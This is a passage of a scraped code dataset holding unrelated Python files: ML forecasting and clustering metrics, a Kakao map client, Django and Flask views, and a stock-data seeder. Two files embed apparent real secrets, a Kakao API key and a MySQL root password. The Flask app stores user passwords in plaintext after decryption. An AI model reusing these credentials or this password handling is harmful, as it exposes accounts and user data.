batch[BatchKeys.GFS_SYNOP_FUTURE_DIFF.value].float().squeeze()\n past_targets = batch[BatchKeys.GFS_SYNOP_PAST_DIFF.value].float().squeeze()\n\n if self.categorical_experiment:\n self.metrics_for_categorical_experiment(outputs, targets, past_targets, 'test')\n\n targets *= self.classes - 1\n past_targets *= self.classes - 1\n else:\n self.test_mse(outputs, targets)\n self.test_mae(outputs, targets)\n if len(targets.shape) == 1:\n self.test_mase(outputs.unsqueeze(0), targets.unsqueeze(0), past_targets.unsqueeze(0))\n else:\n self.test_mase(outputs, targets, past_targets)\n\n synop_inputs = batch[BatchKeys.SYNOP_PAST_X.value]\n dates_inputs = batch[BatchKeys.DATES_PAST.value]\n dates_targets = batch[BatchKeys.DATES_FUTURE.value]\n\n return {BatchKeys.SYNOP_FUTURE_Y.value: targets,\n BatchKeys.PREDICTIONS.value: outputs.squeeze() if not self.categorical_experiment else torch.argmax(outputs, dim=-1),\n BatchKeys.SYNOP_PAST_Y.value: past_targets,\n BatchKeys.SYNOP_PAST_X.value: synop_inputs[:, :, self.target_param_index] if self.cfg.experiment.batch_size > 1\n else synop_inputs[:, self.target_param_index],\n BatchKeys.DATES_PAST.value: dates_inputs,\n BatchKeys.DATES_FUTURE.value: dates_targets\n }\n\n def test_epoch_end(self, outputs: List[Any]) -> None:\n \"\"\"\n Log test metrics.\n\n Parameters\n ----------\n outputs : list[Any]\n List of dictionaries returned by `self.test_step` with batch metrics.\n \"\"\"\n step = self.current_epoch + 1 if not self.trainer.sanity_checking else self.current_epoch # type: ignore\n\n metrics_and_plot_results = self.get_metrics_and_plot_results(step, outputs)\n\n self.test_mse.reset()\n self.test_mae.reset()\n self.test_mase.reset()\n\n self.logger.log_metrics(metrics_and_plot_results, step=step)\n\n self.test_results = metrics_and_plot_results\n\n def get_metrics_and_plot_results(self, step: int, outputs: List[Any]) -> Dict:\n series = self.get_series_from_outputs(outputs)\n\n predictions = series[BatchKeys.PREDICTIONS.value]\n output_series = np.asarray([np.asarray(el) for el in predictions])\n labels_series = np.asarray([np.asarray(el) for el in series[BatchKeys.SYNOP_FUTURE_Y.value]])\n\n rmse_by_step = np.sqrt(np.mean(np.power(np.subtract(series[BatchKeys.PREDICTIONS.value], series[BatchKeys.SYNOP_FUTURE_Y.value]), 2), axis=0))\n mase_by_step = self.get_mase_by_step(predictions, series[BatchKeys.SYNOP_FUTURE_Y.value], series[BatchKeys.SYNOP_PAST_Y.value])\n\n # for plots\n plot_truth_series = []\n plot_prediction_series = []\n plot_all_dates = []\n plot_prediction_dates = []\n for index in np.random.choice(np.arange(len(predictions)),\n min(40, len(predictions)), replace=False):\n sample_all_dates = [pd.to_datetime(pd.Timestamp(d)) for d in series[BatchKeys.DATES_PAST.value][index]]\n sample_prediction_dates = [pd.to_datetime(pd.Timestamp(d)) for d in series[BatchKeys.DATES_FUTURE.value][index]]\n sample_all_dates.extend(sample_prediction_dates)\n\n plot_all_dates.append(sample_all_dates)\n plot_prediction_dates.append(sample_prediction_dates)\n\n plot_prediction_series.append(predictions[index])\n plot_truth_series.append(np.concatenate([series[BatchKeys.SYNOP_PAST_Y.value][index], series[BatchKeys.SYNOP_FUTURE_Y.value][index]], 0).tolist())\n\n return {\n 'epoch': float(step),\n 'test_rmse': math.sqrt(float(self.test_mse.compute().item())),\n 'test_mae': float(self.test_mae.compute().item()),\n 'test_mase': float(self.test_mase.compute()),\n 'rmse_by_step': rmse_by_step,\n 'mase_by_step': mase_by_step,\n 'plot_truth': plot_truth_series,\n 'plot_prediction': plot_prediction_series,\n 'plot_all_dates': plot_all_dates,\n 'plot_prediction_dates': plot_prediction_dates,\n 'output_series': output_series,\n 'truth_series': labels_series\n }\n\n def get_series_from_outputs(self, outputs: List[Any]) -> Dict:\n if self.cfg.experiment.batch_size == 1:\n prediction_series = [item.cpu() for item in [x[BatchKeys.PREDICTIONS.value] for x in outputs]]\n synop_future_y_series = [item.cpu() for item in [x[BatchKeys.SYNOP_FUTURE_Y.value] for x in outputs]]\n synop_past_y_series = [item.cpu() for item in [x[BatchKeys.SYNOP_PAST_Y.value] for x in outputs]]\n # mistery - why there are 1-element tuples?\n past_dates = [item[0] for item in [x[BatchKeys.DATES_PAST.value] for x in outputs]]\n future_dates = [item[0] for item in [x[BatchKeys.DATES_FUTURE.value] for x in outputs]]\n else:\n prediction_series = [item.cpu() for sublist in [x[BatchKeys.PREDICTIONS.value] for x in outputs] for item in\n sublist]\n synop_future_y_series = [item.cpu() for sublist in [x[BatchKeys.SYNOP_FUTURE_Y.value] for x in outputs] for\n item in sublist]\n synop_past_y_series = [item.cpu() for sublist in [x[BatchKeys.SYNOP_PAST_Y.value] for x in outputs] for item\n in sublist]\n past_dates = [item for sublist in [x[BatchKeys.DATES_PAST.value] for x in outputs] for item in sublist]\n future_dates = [item for sublist in [x[BatchKeys.DATES_FUTURE.value] for x in outputs] for item in sublist]\n\n prediction_series = np.asarray([np.asarray(el) for el in prediction_series])\n synop_future_y_series = np.asarray([np.asarray(el) for el in synop_future_y_series])\n synop_past_y_series = np.asarray([np.asarray(el) for el in synop_past_y_series])\n\n return {\n BatchKeys.PREDICTIONS.value: prediction_series,\n BatchKeys.SYNOP_FUTURE_Y.value: synop_future_y_series,\n BatchKeys.SYNOP_PAST_Y.value: synop_past_y_series,\n BatchKeys.DATES_PAST.value: past_dates,\n BatchKeys.DATES_FUTURE.value: future_dates\n }\n\n def get_mase_by_step(self, prediction_series, truth_series, past_truth_series):\n mase_by_step = []\n\n scaling = self.test_mase.calculate_scaling(torch.Tensor(truth_series),\n torch.ones(truth_series.shape[0], dtype=torch.long) * truth_series.shape[1],\n torch.Tensor(past_truth_series),\n torch.ones(past_truth_series.shape[0], dtype=torch.long) * past_truth_series.shape[1]).numpy()\n for step in range(prediction_series.shape[-1]):\n mase_by_step.append(\n (abs(prediction_series[:, :step + 1] - truth_series[:, :step + 1]).mean(axis=-1) / scaling).mean())\n return mase_by_step\n\n def metrics_for_categorical_experiment(self, outputs: torch.Tensor, targets: torch.Tensor, past_targets: torch.Tensor, stage: str):\n outputs_classes = torch.argmax(outputs, dim=-1) / (self.classes - 1)\n\n if stage == 'train':\n self.train_mse(outputs_classes, targets)\n self.train_mae(outputs_classes, targets)\n if len(targets.shape) == 1:\n self.train_mase(outputs_classes.unsqueeze(0), targets.unsqueeze(0), past_targets.unsqueeze(0))\n else:\n self.train_mase(outputs_classes, targets, past_targets)\n elif stage == 'val':\n self.val_mse(outputs_classes, targets)\n self.val_mae(outputs_classes, targets)\n if len(targets.shape) == 1:\n self.val_mase(outputs_classes.unsqueeze(0), targets.unsqueeze(0), past_targets.unsqueeze(0))\n else:\n self.val_mase(outputs_classes, targets, past_targets)\n else:\n self.test_mse(outputs_classes, targets)\n self.test_mae(outputs_classes, targets)\n if len(targets.shape) == 1:\n self.test_mase(outputs_classes.unsqueeze(0), targets.unsqueeze(0), past_targets.unsqueeze(0))\n else:\n self.test_mase(outputs_classes, targets, past_targets)\n","repo_name":"adambelniak/WindForecast","sub_path":"src/wind_forecast/systems/BaseS2SRegressor.py","file_name":"BaseS2SRegressor.py","file_ext":"py","file_size_in_byte":24635,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"14395362243","text":"\nfrom Data.DataManager import *\n\nimport requests\nfrom json import *\nimport tkintermapview\nfrom tkinter import *\n\n\nclass APImap:\n def __init__(self) :\n self.DataMgr = DataManager()\n\n self.url = 'https://dapi.kakao.com/v2/local/search/keyword.json'\n self.ServiceKey = '4b26e7470a265bf96899caf9892dac65'\n\n self.spot = []\n self.spot_Store = []\n\n def getLatLng(self, addr):\n url = 'https://dapi.kakao.com/v2/local/search/address.json?query=' + addr\n headers = {\"Authorization\": \"KakaoAK \" + self.ServiceKey}\n result = loads(str(requests.get(url, headers=headers).text))\n match_first = result['documents'][0]['address']\n\n return float(match_first['x']), float(match_first['y'])\n \n# 위도 경도를 얻는다. \n def getLatLng(self, region, page_num):\n url = 'https://dapi.kakao.com/v2/local/search/keyword.json' \n\n params = {'query': region,'page': page_num}\n headers = {\"Authorization\": \"KakaoAK \" + self.ServiceKey}\n\n places = requests.get(url, params=params, headers=headers).json()['documents']\n for place in places:\n X = float(place['x'])\n Y = float(place['y'])\n spot = (Y, X)\n self.spot.append(spot)\n return X,Y\n \n def Run(self, MountainName ):\n self.spot.clear() \n for i in range(1,4):\n self.getLatLng(MountainName, i)\n\n self.My_label = LabelFrame(self.MapWindow)\n self.My_label.pack(pady=20)\n\n self.SetMarker(MountainName)\n\n def SetMarker(self, MountainName):\n self.map_widget = tkintermapview.TkinterMapView(self.My_label, width = 800, height = 600, corner_radius=0)\n\n self.spot.clear() \n self.getLatLng(MountainName, 1)\n\n self.map_widget.set_position(self.spot[0][0], self.spot[0][1])\n self.map_widget.set_marker(self.spot[0][0], self.spot[0][1], MountainName)\n self.map_widget.set_zoom(7)\n self.map_widget.pack()\n\n self.spot_Store.append( self.spot[0] )\n\n def ClearSpotStore(self):\n self.spot_Store.clear()\n self.spot_Store = []\n\n \n\n\n","repo_name":"jmjang0110/KoreaMountain","sub_path":"Data/MapData.py","file_name":"MapData.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18309702297","text":"#!/usr/local/bin/python3\n# -*- coding: utf-8 -*-#\n'''\nauthor: -- shidegang --\nCreated Time: 2019-08-26 15:16:03\n'''\nimport time\nimport sys\n\n\nclass Things():\n def __init__(self, username='nobody'):\n self.username = username\n\n def clean_disk(self):\n print(\"cleaning disk ... ...\")\n time.sleep(1)\n print(\"clean disk done!\")\n\n def clean_dir1(self):\n print(\"cleaning dir1 ... ...\")\n time.sleep(1)\n print(\"clean dir1 done!\")\n\n def clean_dir2(self):\n print(\"cleaning dir2 ... ...\")\n time.sleep(1)\n print(\"clean dir2 done!\")\n\n\nclass Menu():\n def __init__(self):\n self.thing = Things()\n self.choices = {\n \"1\": self.thing.clean_disk,\n \"2\": self.thing.clean_dir1,\n \"3\": self.thing.clean_dir2,\n \"4\": self.quit\n }\n\n def display_menu(self):\n print(\"\"\"\nOperation Menu:\n1. Clean disk\n2. Clean dir1\n3. Clean dir2\n4. Quit\n\"\"\")\n\n def run(self):\n while True:\n self.display_menu()\n # try:\n choice = input(\"Enter an option: \")\n # except Exception as e:\n # print(\"Please input a valid option!\");continue\n\n choice = str(choice).strip()\n action = self.choices.get(choice)\n if action:\n action()\n else:\n print(\"{0} is not a valid choice\".format(choice))\n# print(\"%s is not a valid choice\"%choice)\n\n def quit(self):\n print(\"\\nThank you for using this script!\\n\")\n sys.exit(0)\n\n\nif __name__ == '__main__':\n Menu().run()\n","repo_name":"shidg/note","sub_path":"python/study/loop/menu_choice.py","file_name":"menu_choice.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"81"} +{"seq_id":"3297837182","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.db.models import Q\n\nfrom wave_ml.apps.learning.models import ModelLearning\n\nimport json\nfrom ast import literal_eval\n\n\ndef main(request):\n mlmodel_id = request.GET.get(\"mlmodel_id\", request.session.get(\"mlmodel_id\"))\n project_id = request.GET.get(\"project_id\", request.session.get(\"project_id\"))\n request.session['mlmodel_id'] = mlmodel_id\n request.session['project_id'] = project_id\n\n mlmodel = []\n if ModelLearning.objects.filter(mlmodel_id=mlmodel_id).exclude(recall=None).exists():\n mlmodel = ModelLearning.objects.filter(mlmodel_id=mlmodel_id).order_by('-recall').values()\n\n return render(\n request,\n 'mlmodel/model-result.html',\n {\n 'mlmodel': mlmodel\n }\n )\n\n\ndef detail(request):\n algorithm = request.POST.get(\"algorithm\", \"\")\n mlmodel_id = request.session.get(\"mlmodel_id\")\n model = None\n confusion_matrix = {}\n\n try:\n model = ModelLearning.objects.filter(mlmodel_id=mlmodel_id, algorithm=algorithm, learning_date__isnull=False).values().first()\n confusion_matrix = literal_eval(model['confusion_matrix'])\n\n except Exception as e:\n print(e)\n\n return render(\n request,\n 'mlmodel/model-result-detail.html',\n {\n 'select_algorithm': algorithm,\n 'evaluation': model,\n 'confusion_matrix': confusion_matrix\n }\n )\n\n\ndef control_favorite(request):\n try:\n algorithm = request.POST.get(\"algorithm\", \"\")\n mlmodel_id = request.session.get(\"mlmodel_id\")\n favorite = request.POST.get(\"favorite\", False)\n\n ModelLearning.objects.filter(mlmodel_id=mlmodel_id, algorithm=algorithm).update(Favorite=favorite)\n\n return HttpResponse({\"result\": \"success\"}, content_type='application/json')\n\n except Exception as e:\n print(e)\n return HttpResponse({\"result\": \"error\"}, content_type='application/json')\n","repo_name":"KHM13/wave_ml_nurier","sub_path":"wave_ml/apps/mlmodel/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6883244121","text":"# TSPLIB95 is a suite of test problem instances for the travelling salesman problem\n# This little script is just meant to test the tsplib95 parser\nimport tsplib95\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy as sp\nimport sys, os, colorama\n\npname = 'eil101'\nproblem = tsplib95.load_problem(pname+'.tsp')\nsolution = tsplib95.load_solution(pname+'.opt.tour')\n\nprint(problem.node_coords)\nprint(solution)\n\nxs, ys = [], []\n\nfor (_, (x,y)) in problem.node_coords.items():\n xs.append(x)\n ys.append(y)\n\n# rearrange the coordinates according to the optimal tour\nsolution.tour = [ i-1 for i in solution.tours[0]]\nxs = [xs[i] for i in solution.tour]\nys = [ys[i] for i in solution.tour]\n\nfig, ax = plt.subplots()\nax.set_aspect(1.0)\nplt.plot(xs+[xs[0]],ys+[ys[0]],'o-', markersize=5)\nplt.plot()\nplt.show()\n","repo_name":"samvanderpoel/TSP-vs-Graphs","sub_path":"tsplib/instances/symmetric_instances/render_tsplib_instances.py","file_name":"render_tsplib_instances.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"6447676719","text":"import datetime\nimport random\n\nimport pandas as pd\n\n# from datetime import timedelta\nimport pytz\nimport twstock\nfrom django.shortcuts import render\nfrom IAM.models import MyUser\n\nfrom .models import *\n\n\ndef insert_test_data(request):\n u1 = MyUser(\n username=\"provider1\",\n account=\"testing\",\n bankaccount=\"123456789123\",\n email=\"r107250222@ntu.edu.tw\",\n password=\"Asdqwe\",\n id_number=\"A123456789\",\n budget=1000000.0,\n )\n u2 = MyUser(\n username=\"follower1\",\n account=\"test21\",\n bankaccount=\"223891234\",\n email=\"b067050061@ntu.edu.tw\",\n password=\"password\",\n id_number=\"A123456780\",\n budget=1000000.0,\n )\n p1 = Portfolio(\n name=\"投資組合1\",\n description=\"測試用\",\n owner=u1,\n budget=5000,\n is_public=True,\n is_alive=True,\n follow_price=10,\n )\n s1 = Stock(code=\"s01\", name=\"公司1\")\n u1.save()\n u2.save()\n p1.save()\n s1.save()\n # test_message = Stock.objects.filter(id=1)\n # return render(request, \"insert_test.html\", locals())\n sp1 = Stockprice(\n stock=Stock.objects.all()[0],\n price=100,\n time=datetime.datetime(2022, 3, 1, 0, 0, 0),\n )\n t1 = Transaction(\n portfolio=Portfolio.objects.all()[0],\n stock=Stock.objects.all()[0],\n amount=10,\n price=100,\n time=datetime.datetime(2022, 3, 1, 23, 55, 59),\n )\n f1 = Follow(\n portfolio=Portfolio.objects.all()[0],\n user=MyUser.objects.all()[0],\n starttime=datetime.datetime(2022, 2, 1, 23, 55, 59),\n budget=1000,\n is_alive=True,\n )\n sp1.save()\n t1.save()\n f1.save()\n\n test_message = \"insert fake data done\"\n return render(request, \"insert_test.html\", locals())\n\n\ndef insert_stock(request):\n twstocks = pd.read_csv(\"folio_backend/engine/twse_equities.csv\")\n stocks = twstocks[(twstocks[\"market\"] == \"上市\") & (twstocks[\"type\"] == \"股票\")]\n for i, stock in stocks.iterrows():\n s = Stock(code=stock[\"code\"], name=stock[\"name\"], group=stock[\"group\"])\n s.save()\n # cash\n s = Stock(code=\"0000\", name=\"cash\", group=\"現金\")\n s.save()\n\n test_message = \"insert stock done\"\n return render(request, \"insert_test.html\", locals())\n\n\ndef insert_test_stock_price(request):\n stocks = Stock.objects.all()\n m = \"\"\n # stocks\n for i, target_stock in enumerate(stocks):\n if target_stock.code == \"s01\":\n continue\n sid = target_stock.id\n stock_data = [[datetime.datetime(2022, 4, i + 1), random.uniform(10, 100)] for i in range(10)]\n for sd in stock_data:\n if sd[1] != None:\n sp = Stockprice(\n stock=Stock.objects.filter(id=sid)[0],\n price=sd[1],\n time=sd[0].replace(tzinfo=pytz.UTC),\n )\n sp.save()\n m += str(target_stock.code) + \"\\n\"\n # if i == 100:\n # break\n # cash\n base = datetime.datetime.today()\n gap = base - datetime.datetime(2022, 4, 1)\n date_list = [base - datetime.timedelta(days=x) for x in range(gap.days + 1)]\n date_list = [x.replace(hour=0, minute=0, second=0, microsecond=0) for x in date_list][::-1]\n for dt in date_list:\n cash = Stockprice(\n stock=Stock.objects.filter(code=\"0000\")[0],\n price=1,\n time=dt.replace(tzinfo=pytz.UTC),\n )\n cash.save()\n m += \"cash\"\n test_message = \"insert stock:\\n\" + str(m) + \"price done\"\n return render(request, \"insert_test.html\", locals())\n\n\ndef insert_stock_price(request):\n stocks = Stock.objects.all()\n m = \"\"\n # stocks\n for i, target_stock in enumerate(stocks):\n if target_stock.code == \"s01\":\n continue\n sid = target_stock.id\n stock = twstock.Stock(target_stock.code)\n target_price = stock.fetch_from(2022, 4) # 取用2022/03至今每天的交易資料\n stock_data = [[tp.date, tp.close] for tp in target_price]\n for sd in stock_data:\n if sd[1] != None:\n sp = Stockprice(\n stock=Stock.objects.filter(id=sid)[0],\n price=sd[1],\n time=sd[0].replace(tzinfo=pytz.UTC),\n )\n sp.save()\n m += str(target_stock.code) + \"\\n\"\n if i == 1:\n break\n # cash\n base = datetime.datetime.today()\n gap = base - datetime.datetime(2022, 4, 1)\n date_list = [base - datetime.timedelta(days=x) for x in range(gap.days + 1)]\n date_list = [x.replace(hour=0, minute=0, second=0, microsecond=0) for x in date_list][::-1]\n for dt in date_list:\n cash = Stockprice(\n stock=Stock.objects.filter(code=\"0000\")[0],\n price=1,\n time=dt.replace(tzinfo=pytz.UTC),\n )\n cash.save()\n m += \"cash\"\n test_message = \"insert stock:\\n\" + str(m) + \"price done\"\n return render(request, \"insert_test.html\", locals())\n","repo_name":"d336643/test-folio-backend-deploy","sub_path":"folio_backend/engine/views_test.py","file_name":"views_test.py","file_ext":"py","file_size_in_byte":5050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"21838371745","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 10 13:09:10 2018\n\n@author: distroter\n\"\"\"\nfrom flask import Flask,request\nfrom cryptography.fernet import Fernet\nimport MySQLdb\napp = Flask(__name__)\n\n@app.route(\"/\",methods=['POST'])\ndef hello():\n ECID = request.form['ECID'] \n EPW = request.form['EPW']\n key = request.form['key']\n choice = request.form['choice']\n \n key = key.encode('utf-8')\n print(key)\n choice = int(choice)\n cipher_suite = Fernet(key)\n \n DCID = cipher_suite.decrypt(ECID.encode('utf-8'))\n DPW = cipher_suite.decrypt(EPW.encode('utf-8'))\n \n conn = MySQLdb.connect(user=\"root\", passwd=\"rishi26071997\", db=\"rishi\")\n cur = conn.cursor()\n ans=\"\"\n if choice == 1 :\n sql='select count(*) from iot where CID IN %s'\n args=[[DCID.decode('utf-8')]]\n cur.execute(sql,args)\n row = cur.fetchone()\n ct = int(row[0])\n if ct > 0:\n ans = \"Not unique username\"\n else :\n cur.execute(\"insert into iot values ( %s , %s )\",(DCID.decode('utf-8'),DPW.decode('utf-8')))\n ans = \"Registered\"\n elif choice == 2 :\n sql='SELECT PW FROM iot WHERE CID IN %s'\n args=[[DCID.decode('utf-8')]]\n cur.execute(sql,args)\n row = cur.fetchone()\n if DPW.decode('utf-8') == str(row[0]):\n ans = \"Matched\" \n else:\n ans =\"Not Matched\" \n conn.commit()\n cur.close()\n conn.close() \n return ans\n \n \n \n\n \n \n \n \n\nif __name__ == \"__main__\":\n app.run(debug=True,host=\"localhost\",port=5000)","repo_name":"rishi-lgtm/-IOT_ECC_Encryption","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"4259665602","text":"from django.contrib import messages as django_messages\nfrom django.contrib.admin.templatetags.admin_urls import admin_urlname\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import HttpResponseRedirect\nfrom django.template.response import TemplateResponse\nfrom django.urls import reverse\nfrom django.utils.decorators import method_decorator\nfrom django.utils.translation import gettext_lazy\nfrom django.views.decorators.csrf import csrf_protect\nfrom rest_framework import serializers\n\nfrom datahub.company.admin.dnb_link.forms import SelectIdsToLinkForm\nfrom datahub.company.admin.utils import (\n AdminError,\n format_company_diff,\n redirect_with_messages,\n)\nfrom datahub.dnb_api.link_company import link_company_with_dnb\nfrom datahub.dnb_api.utils import (\n DNBServiceBaseError,\n DNBServiceInvalidRequestError,\n get_company,\n)\n\n\ndef _build_error_messages(all_errors):\n messages = [\n f'{field}: {error}'\n for field, errors in all_errors.items()\n for error in errors\n ]\n\n return messages\n\n\ndef _link_company_with_dnb(dh_company_id, duns_number, user, error_url):\n # We don't need to catch CompanyAlreadyDNBLinkedError as our form will\n # do this validation for us\n try:\n link_company_with_dnb(dh_company_id, duns_number, user)\n\n except serializers.ValidationError:\n message = 'Data from D&B did not pass the Data Hub validation checks.'\n raise AdminError([message], error_url)\n except DNBServiceInvalidRequestError:\n message = 'No matching company found in D&B database.'\n raise AdminError([message], error_url)\n\n except DNBServiceBaseError:\n message = 'Something went wrong in an upstream service.'\n raise AdminError([message], error_url)\n\n\ndef _get_company(duns_number, error_url, request=None):\n try:\n return get_company(duns_number, request)\n\n except DNBServiceInvalidRequestError:\n message = 'No matching company found in D&B database.'\n raise AdminError([message], error_url)\n\n except DNBServiceBaseError:\n message = 'Something went wrong in an upstream service.'\n raise AdminError([message], error_url)\n\n\n@redirect_with_messages\n@method_decorator(csrf_protect)\ndef dnb_link_review_changes(model_admin, request):\n \"\"\"\n View to allow users to review changes that would be applied to a record before linking it.\n POSTs make the link and redirect the user to view the updated record.\n \"\"\"\n if not model_admin.has_change_permission(request):\n raise PermissionDenied()\n\n company_list_page = reverse(\n admin_urlname(model_admin.model._meta, 'changelist'),\n )\n\n form = SelectIdsToLinkForm(data=request.GET)\n if not form.is_valid():\n messages = _build_error_messages(form.errors)\n raise AdminError(messages, company_list_page)\n\n dh_company = form.cleaned_data['company']\n duns_number = form.cleaned_data['duns_number']\n\n is_post = request.method == 'POST'\n\n if is_post:\n _link_company_with_dnb(dh_company.pk, duns_number, request.user, company_list_page)\n\n django_messages.add_message(\n request,\n django_messages.SUCCESS,\n 'Company linked to D&B successfully.',\n )\n company_change_page = reverse(\n admin_urlname(model_admin.model._meta, 'change'),\n kwargs={'object_id': dh_company.pk},\n )\n return HttpResponseRedirect(company_change_page)\n\n dnb_company = _get_company(duns_number, company_list_page, request)\n\n return TemplateResponse(\n request,\n 'admin/company/company/update-from-dnb.html',\n {\n **model_admin.admin_site.each_context(request),\n 'media': model_admin.media,\n 'opts': model_admin.model._meta,\n 'title': gettext_lazy('Confirm Link Company with D&B'),\n 'diff': format_company_diff(dh_company, dnb_company),\n },\n )\n","repo_name":"uktrade/data-hub-api","sub_path":"datahub/company/admin/dnb_link/review_changes.py","file_name":"review_changes.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"81"} +{"seq_id":"28907713358","text":"#downsampling script\n## written for this pipeline by Charlotte Rich-Griffin 2020-09-30\n\nimport scanpy as sc\nimport argparse\nimport pandas as pd\nfrom muon import MuData\nfrom anndata import AnnData\nimport muon as mu\nimport re\n\nfrom panpipes.funcs.io import write_obs\nfrom panpipes.funcs.processing import downsample_mudata\n\n\nimport sys\nimport logging\nL = logging.getLogger()\nL.setLevel(logging.INFO)\nlog_handler = logging.StreamHandler(sys.stdout)\nformatter = logging.Formatter('%(asctime)s: %(levelname)s - %(message)s')\nlog_handler.setFormatter(formatter)\nL.addHandler(log_handler)\n\nsc.settings.verbosity = 0 # verbosity: errors (0), warnings (1), info (2), hints (3)\n\n# parse arguments\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--input_mudata',\n default='data/mudata-n5000-filt.h5ad',\n help='')\nparser.add_argument('--output_mudata',\n default='data/mudata-n5000-filt.h5ad',\n help='')\nparser.add_argument('--sampleprefix', default=\"\", help=\"\")\nparser.add_argument('--downsample_value', default=None,\n help='')\nparser.add_argument('--downsample_col', default=None,\n help='')\nparser.add_argument('--intersect_mods', default=None,\n help='comma separated string of modalities we want to intersect_obs on') \n\n\nL.warning(\"Running filter_mudata\")\n\nparser.set_defaults(verbose=True)\nargs, opt = parser.parse_known_args()\n\n# load data\nmdata = mu.read(args.input_mudata)\n\nif isinstance(mdata, AnnData):\n # convert anndata to muon\n mdata=MuData({'mod':mdata})\n\norig_obs = mdata.obs\n\nL.info(\"Number of cells per sample \\n%s\" % mdata.obs.sample_id.value_counts())\n\n\nif args.downsample_col == \"None\":\n args.downsample_col = None\n\nif args.intersect_mods is None:\n # we assume all mods\n mods = list(mdata.mod.keys())\nelse:\n mods = args.intersect_mods.split(',')\n\n\n# remove unused categories in batch col\nif args.downsample_col is not None:\n mdata.obs[args.downsample_col] = mdata.obs[args.downsample_col].cat.remove_unused_categories()\n\n# do the downsample.\n\ndownsample_mudata(mdata, nn=int(args.downsample_value),\n cat_col=args.downsample_col,\n mods = mods,\n inplace=True)\nprint(mdata)\n\n\nmdata.update()\n \nL.info(\"Number of cells per sample\")\nL.info(mdata.obs.sample_id.value_counts())\n\n# write out the observations\nwrite_obs(mdata, output_prefix=re.sub(\"\\\\.(.*)\", \"\", args.output_mudata), \n output_suffix=\"_downsampled_cell_metadata.tsv\")\n\n\nmdata.write(args.output_mudata)\n#This stage is the point (i.e. pre-normalisation) where the mdata file can be outputted so that we can extract raw matrix for the cellphonedb.\nL.info(\"Done\")","repo_name":"DendrouLab/panpipes","sub_path":"panpipes/python_scripts/downsample.py","file_name":"downsample.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"81"} +{"seq_id":"9242075445","text":"# -*- coding: utf-8 -*-\r\nimport pandas as pd\r\nimport numpy as np\r\nimport sklearn.preprocessing as pp\r\nfrom sklearn.metrics.cluster import adjusted_rand_score\r\nfrom sklearn.metrics.cluster import normalized_mutual_info_score\r\n\r\nfrom scipy.optimize import linear_sum_assignment as linear_assignment\r\nfrom sklearn import metrics\r\n\r\n\r\n# sys.path.append('./')\r\n# from utils import match\r\n\r\ndef list2str(one_list):\r\n mystr=''\r\n for i in range(0,len(one_list)):\r\n if i==0:\r\n mystr=str(one_list[i])+','\r\n elif i==len(one_list)-1:\r\n mystr = mystr+str(one_list[i])\r\n else:\r\n mystr = mystr+str(one_list[i])+','\r\n return mystr\r\n\r\n\r\ndef gt_str2nbr(list_str):\r\n label = list_str #list(pd.read_csv(info_path)['celltype'])\r\n LE = pp.LabelEncoder()\r\n label = LE.fit_transform(label)\r\n return np.asarray(list(label))\r\n\r\ndef calc_all_acc_simple(df,gt_name,pred_name,decimals=2):\r\n label_str=np.asarray(list(df.loc[:,gt_name]))\r\n label_nbr = gt_str2nbr(label_str)\r\n pred = np.asarray(list(df.loc[:,pred_name]))\r\n ##########res,reordered_preds, acc, pre, recall, f1, ari, nmi, pur = match.result_hungarian_match(pred, label_nbr)\r\n ari = adjusted_rand_score(label_nbr, pred)\r\n nmi = normalized_mutual_info_score(label_nbr, pred)\r\n all_result_value = np.array([ari, nmi])\r\n all_result_value = list(np.round(all_result_value,decimals=decimals))\r\n all_result_name = [ 'ARI', 'NMI']\r\n return all_result_value, all_result_name\r\n \r\ndef evaluate_df(df_input,pred_name,GTname):\r\n df = df_input[[pred_name,GTname]]\r\n acc_results_value, acc_results_name= calc_all_acc_simple(df,GTname,pred_name,decimals=4)\r\n return acc_results_value, acc_results_name\r\n\r\ndef evaluate(adata,pred_name,GTname):\r\n df = adata.obs[[pred_name,GTname]]\r\n acc_results_value, acc_results_name= calc_all_acc_simple(df,GTname,pred_name,decimals=4)\r\n return acc_results_value, acc_results_name\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# def purity_score(y_true, y_pred):\r\n# \"\"\"Purity score\r\n# Args:\r\n# y_true(np.ndarray): n*1 matrix Ground truth labels\r\n# y_pred(np.ndarray): n*1 matrix Predicted clusters\r\n\r\n# Returns:\r\n# float: Purity score\r\n# \"\"\"\r\n# y_voted_labels = np.zeros(y_true.shape)\r\n\r\n# labels = np.unique(y_true)\r\n# ordered_labels = np.arange(labels.shape[0])\r\n# for k in range(labels.shape[0]):\r\n# y_true[y_true==labels[k]] = ordered_labels[k]\r\n# labels = np.unique(y_true)\r\n# bins = np.concatenate((labels, [np.max(labels)+1]), axis=0)\r\n\r\n# for cluster in np.unique(y_pred):\r\n# hist, _ = np.histogram(y_true[y_pred==cluster], bins=bins)\r\n# winner = np.argmax(hist)\r\n# y_voted_labels[y_pred==cluster] = winner\r\n\r\n# return metrics.accuracy_score(y_true, y_voted_labels)\r\n\r\n\r\n# def result_hungarian_match(preds, targets):\r\n# class_num = len(np.unique(targets))\r\n# num_samples = 